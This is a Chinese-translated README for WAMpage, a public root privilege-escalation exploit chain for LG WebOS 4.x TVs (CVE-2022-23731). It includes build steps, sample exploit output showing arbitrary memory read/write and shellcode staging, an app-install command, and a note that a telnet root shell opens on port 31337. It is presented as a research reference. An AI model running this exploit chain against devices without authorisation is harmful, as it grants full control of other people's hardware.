davidbuchanan314/wampageWAMpage - A WebOS root LPE exploit chain (CVE-2022-23731)
WAMpage - 一个WebOS root LPE利用链 (CVE-2022-23731)
此漏洞利用主要对其他研究人员有参考价值——如果你只是想root你的电视，你可能更想要RootMyTV，它提供了可靠的一键持久化root。
目前仅支持32位SoC上的WebOS 4.x。本软件按“原样”提供，使用风险自负，等等。
Writeup: https://www.da.vidbuchanan.co.uk/blog/webos-wampage.html
前提条件：
apt install qemu-user
npm install -g @webosose/ares-cli
编译：
make
make test 将构建并在运行于 qemu-arm 下的 d8 中执行漏洞利用。（预编译的 d8 及其依赖项包含在 bin/ 目录中）。如果漏洞利用成功，你可能会看到类似这样的输出：
[+] Starting WAMpage...
[+] addrof(myobj) = 0x5a68f5d1
[+] Test: reconstructed myobj: {"foo":"bar"}
[+] Set up arbread32/arbwrite32.
[+] stage2 shellcode loaded @ 0xff458000
[+] myfunc @ 0x5a693369
[+] stage1 RWX buf @ 0x5bb8f280
[+] Copied stage1 shellcode. Calling...
Traceback (most recent call last):
File "<stdin>", line 25, in <module>
IOError: [Errno 13] Permission denied: '/dev/mem'
此权限错误是预期行为，假设你的机器没有完全错误配置。
你可以直接在电视上运行 devmemes.py 漏洞利用进行测试，但你需要事先拥有 root 权限，或者其他某种非沙盒/非受限的 shell。
你可以使用 ares-install，或者手动复制 IPK 文件并在开发者模式 shell 中运行以下命令：
luna-send-pub -i 'luna://com.webos.appInstallService/dev/install' '{"id":"tv.rootmy.wampage","ipkUrl":"/path/to/wampage.ipk","subscribe":true}'
启动应用并点击“Start Exploit”按钮。如果一切顺利，telnet 服务器将在端口 31337 上开启。